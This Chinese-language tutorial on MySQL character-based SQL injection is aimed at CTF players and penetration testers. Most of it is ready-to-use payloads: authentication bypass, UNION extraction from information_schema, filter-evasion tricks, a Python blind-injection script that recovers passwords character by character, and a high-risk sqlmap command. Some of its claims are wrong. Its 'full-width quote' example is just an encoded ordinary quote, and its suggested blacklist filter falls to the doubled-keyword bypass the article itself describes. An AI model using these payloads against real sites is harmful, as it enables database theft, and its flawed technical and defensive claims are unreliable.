MySQL 5.7 字符型注入深度剖析:从基础原理到CTF实战绕过
2026/7/9 12:30:30 网站建设 项目流程

MySQL 5.7 字符型注入实战:从闭合原理到高级绕过技术

在Web安全领域,SQL注入始终是最具破坏力的漏洞之一。特别是MySQL 5.7环境下的字符型注入,因其特殊的闭合要求和丰富的绕过技巧,成为CTF竞赛和实际渗透测试中的高频考点。本文将系统剖析字符型注入的核心机制,并通过五个实战场景演示如何突破各种过滤限制。

1. 字符型注入的底层机制

字符型注入与数字型注入的本质区别在于闭合方式。当应用程序使用以下方式构造SQL语句时:

SELECT * FROM users WHERE username = '$input' AND password = 'xxx'

攻击者需要通过单引号完成语句闭合。理解这个原理后,我们可以构建经典测试payload:

' OR '1'='1' --

这个payload的妙处在于:

  • 第一个单引号闭合原语句
  • OR '1'='1' 构造永真条件
  • 双破折号注释掉后续语句

关键闭合原理:MySQL中字符串常量必须用成对引号包围,未闭合的引号会导致语法错误。这正是检测注入点的核心依据。

2. 基础绕过技术实战

2.1 注释符的灵活运用

当空格被过滤时,可用以下替代方案:

原始字符替代方案示例
空格/**/admin'/**/OR/**/'1'='1
注释符#--admin' OR 1=1#
换行符%0aadmin'%0aOR%0a'1'='1

特殊场景:当#--被过滤时,可使用;%00(空字节截断)或/*!50000...*/(版本特定注释)

2.2 联合查询的精确控制

典型的联合查询注入流程:

' UNION SELECT 1,2,database() -- ' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --

字段匹配技巧

  1. 先用ORDER BY确定列数
  2. 通过数字占位定位回显点
  3. 使用CONCAT_WS()合并多列数据

3. 高级过滤绕过手法

3.1 关键词双写绕过

当系统使用简单替换过滤union时:

' UNIunionON SELECT 1,2,3 --

执行时中间的union被删除,前后字符重新组合成完整关键词

3.2 十六进制编码绕过

处理表名/列名过滤的终极方案:

' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name=0x7573657273 --

其中0x7573657273users的十六进制表示

3.3 非常规函数替代

常规函数替代方案
substr()mid(),left()
ascii()ord(),hex()
=LIKE,REGEXP
information_schemasys.schema_auto_increment_columns(MySQL 5.7+)

4. 实战场景拆解

场景1:全角字符绕过

当单引号被转义时,尝试全角单引号:

%27 OR %271%27=%271%27 --

场景2:JSON注入技巧

现代应用常使用JSON格式传参,可尝试:

{"username":"admin'-- ","password":"any"}

场景3:布尔盲注优化

传统逐字符检测效率低下,可采用二分法优化:

def check(payload): return len(requests.post(url, data=payload).text) > 1000 def binary_search(pos): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"admin' AND ascii(substr(password,{pos},1))>{mid}-- " if check(payload): low = mid + 1 else: high = mid - 1 return low

5. 防御方案与检测方法

5.1 参数化查询示例

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]);

5.2 过滤规则建议

def sql_filter(input_str): blacklist = ["'", '"', '/*', '*/', '--', ';', 'union', 'select'] for word in blacklist: input_str = input_str.replace(word, '') return input_str

5.3 自动化检测工具

推荐检测流程:

  1. 使用sqlmap进行初步扫描
  2. 人工验证关键参数
  3. 针对WAF特点调整payload
sqlmap -u "http://example.com/login" --data="username=admin&password=123" --level=5 --risk=3

掌握这些技术需要不断实践。建议搭建本地测试环境(如DVWA、WebGoat),通过修改防护规则来验证不同绕过手法的有效性。记住,真正的安全在于理解攻击原理而非机械地使用工具。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询